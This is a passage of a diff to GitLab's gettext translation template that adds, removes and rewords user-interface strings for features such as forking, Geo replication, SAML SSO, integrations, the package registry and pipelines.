+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13165,6 +13494,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13180,6 +13512,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13198,9 +13533,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13462,6 +13794,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13504,9 +13839,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13531,6 +13872,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13564,6 +13914,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13591,6 +13947,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13603,6 +13962,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13630,6 +14013,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13642,6 +14028,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13675,6 +14064,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13720,6 +14112,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13849,6 +14244,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -13972,6 +14373,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14014,9 +14433,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14146,16 +14562,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14167,6 +14580,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14224,6 +14640,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14305,9 +14727,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14410,9 +14829,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14428,7 +14853,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14524,9 +14952,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14722,9 +15147,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14860,9 +15282,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15039,6 +15458,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15207,6 +15629,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15365,9 +15793,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15414,12 +15839,15 @@ msgid "Importing %d repository"
msgid_plural "Importing %d repositories"
msgstr[0] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15429,9 +15857,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16017,6 +16442,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16186,6 +16614,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16231,9 +16662,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16258,6 +16686,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16294,9 +16725,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16492,7 +16920,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16501,7 +16929,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16510,25 +16938,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16543,6 +16971,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16705,6 +17136,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16714,6 +17148,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16801,6 +17238,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16864,6 +17304,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -16951,6 +17394,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -16963,9 +17409,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17005,7 +17460,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17026,7 +17484,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17038,12 +17496,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17260,15 +17724,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17359,6 +17814,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17561,6 +18019,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -17952,6 +18413,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18021,6 +18485,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18195,6 +18662,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18234,6 +18704,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18258,9 +18731,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18336,6 +18806,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18354,13 +18827,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18435,6 +18905,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18537,9 +19010,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18549,9 +19019,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18684,9 +19151,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18744,9 +19208,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19307,6 +19768,9 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19499,6 +19963,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19562,6 +20032,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19697,6 +20170,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20011,6 +20487,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20057,9 +20542,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20225,6 +20707,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20270,6 +20755,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20336,7 +20824,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20387,6 +20875,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20474,6 +20965,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20645,6 +21139,22 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20759,6 +21269,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -20891,10 +21410,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -20984,9 +21500,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21011,9 +21524,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21044,6 +21554,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21129,12 +21642,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21153,9 +21660,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21168,10 +21672,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21186,6 +21693,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21237,6 +21747,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21345,12 +21858,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21381,6 +21900,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21399,6 +21921,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21450,6 +21975,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21474,9 +22002,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21513,15 +22038,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21573,27 +22125,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21831,10 +22362,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -21915,7 +22455,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22164,9 +22704,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22185,6 +22722,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22260,6 +22800,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22329,9 +22881,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22482,10 +23031,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22521,6 +23070,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22659,6 +23220,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
